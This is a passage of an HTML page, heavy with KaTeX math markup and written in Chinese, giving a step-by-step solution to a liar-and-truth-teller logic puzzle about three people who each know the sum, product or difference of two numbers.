encoding="application/x-tex">xy\notin\{12,18,24\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mord"><span class="mrel">∈</span></span><span class="mord vbox"><span class="thinbox"><span class="llap"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="inner"><span class="mord"><span class="mord">/</span><span class="mspace" style="margin-right:0.0556em;"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">12</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">18</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">24</span><span class="mclose">}</span></span></span></span>)」</p></li></ol><ul><li><p>由1，甲-4為假，因而「乙知道這兩個數是多少」，從而乙亦為F，且甲知道這件事，因而甲由手上的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>可知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo mathvariant="normal">∉</mo><mo stretchy="false">{</mo><mn>12</mn><mo separator="true">,</mo><mn>18</mn><mo separator="true">,</mo><mn>24</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">xy\notin\{12,18,24\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mord"><span class="mrel">∈</span></span><span class="mord vbox"><span class="thinbox"><span class="llap"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="inner"><span class="mord"><span class="mord">/</span><span class="mspace" style="margin-right:0.0556em;"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">12</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">18</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">24</span><span class="mclose">}</span></span></span></span>。我們將所有可能根據3進行篩選，滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo>∈</mo><mo stretchy="false">{</mo><mn>12</mn><mo separator="true">,</mo><mn>18</mn><mo separator="true">,</mo><mn>24</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">xy\in\{12,18,24\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">12</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">18</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">24</span><span class="mclose">}</span></span></span></span>的組合只剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>6</mn><mo stretchy="false">)</mo><mo>∨</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>6</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(2,6)\vee(4,6)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mclose">)</span></span></span></span>，由於要能由<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>排除這種情形的可能性，從而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo mathvariant="normal">≠</mo><mn>8</mn><mo>∨</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">x+y\neq8\vee10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>。查表可知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>4</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>7</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>6</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>7</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(2,4),(3,9),(4,8),(5,7),(5,9),(6,8),(7,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">4</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">7</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span></p></li><li><p>由4知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo mathvariant="normal">≠</mo><mo>−</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">x-y\neq-2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">2</span></span></span></span> (否則丙將無法確定甲是否不知道這兩數是多少)，因此先排<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">x-y=-2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">2</span></span></span></span>的所有情形，得到<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span></p></li><li><p>此時有(甲,乙,丙)=(F,F,T)</p></li></ul></li><li><p>若丙為F，則由甲-4為真，乙-5亦為真，從而(甲,乙,丙)=(T,T,F)。且由於甲、乙、丙都能做出相應推理(他們擁有的資訊甚至還比我們多，我們在資訊受限時能做出的推理他們自然能做出)，因此他們三人也都知道彼此的說謊或說實話情形。從而甲-7：「我不完全知道乙和丙是否說謊的全部實情」為謊話，但這與甲說實話矛盾，從而此情形不可能發生</p></li><li><p>綜合以上分析，我們得出<br>(甲,乙,丙)=(F,F,T)，且<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span>，且可驗證此人設組合與甲-7並不矛盾</p></li></ul></li><li><p>乙-8</p><ul><li>由於乙為F，因而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，從而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo>∨</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)\vee(5,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>，此即所有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的可能，而使<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>達最小的解為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span></li></ul></li></ul><p>我們可以經由<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>輕易推論出「甲、乙、丙三人在ROUND 1結束後就都知道彼此的誠實與說謊情形了」。</p></details><h3 id="%E7%AC%AC2%E9%A1%8C" tabindex="-1" id="第2題">第2題</h3><details><summary>點我展開</summary><p>接著我們來解第2題，因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>，甲拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">x+y=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span>、乙拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo>=</mo><mn>27</mn></mrow><annotation encoding="application/x-tex">xy=27</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">27</span></span></span></span>、丙拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">x-y=-6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">6</span></span></span></span>。我們站在甲的角度進行推理：</p><ul><li><p>由<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">x+y=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span>，甲在一開始可知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>7</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,7)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span><span 